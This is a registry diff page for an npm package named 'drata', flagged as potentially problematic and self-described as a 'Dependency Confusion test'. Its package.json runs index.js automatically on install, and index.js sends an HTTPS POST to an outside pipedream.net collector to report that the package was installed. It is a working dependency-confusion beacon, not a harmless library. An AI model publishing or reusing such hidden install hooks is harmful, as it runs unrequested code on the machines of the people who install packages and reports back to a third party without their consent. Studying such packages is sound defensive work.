drata 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of drata might be problematic. Click here for more details.
- package/index.js +20 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
const https = require("https")
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
"package": "darta"
|
5
|
+
})
|
6
|
+
|
7
|
+
const options = {
|
8
|
+
hostname: "eo6zs9q1nkdd0ph.m.pipedream.net",
|
9
|
+
port: 443,
|
10
|
+
path: "/?pkg=drata",
|
11
|
+
method: "POST",
|
12
|
+
headers: {
|
13
|
+
"Content-Type": "application/json",
|
14
|
+
"Content-Length": data.length,
|
15
|
+
},
|
16
|
+
}
|
17
|
+
|
18
|
+
const req = https.request(options)
|
19
|
+
req.write(data)
|
20
|
+
req.end()
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "drata",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "drata : Dependency Confusion test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"install": "node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"drata"
|
12
|
+
],
|
13
|
+
"author": "web705207",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|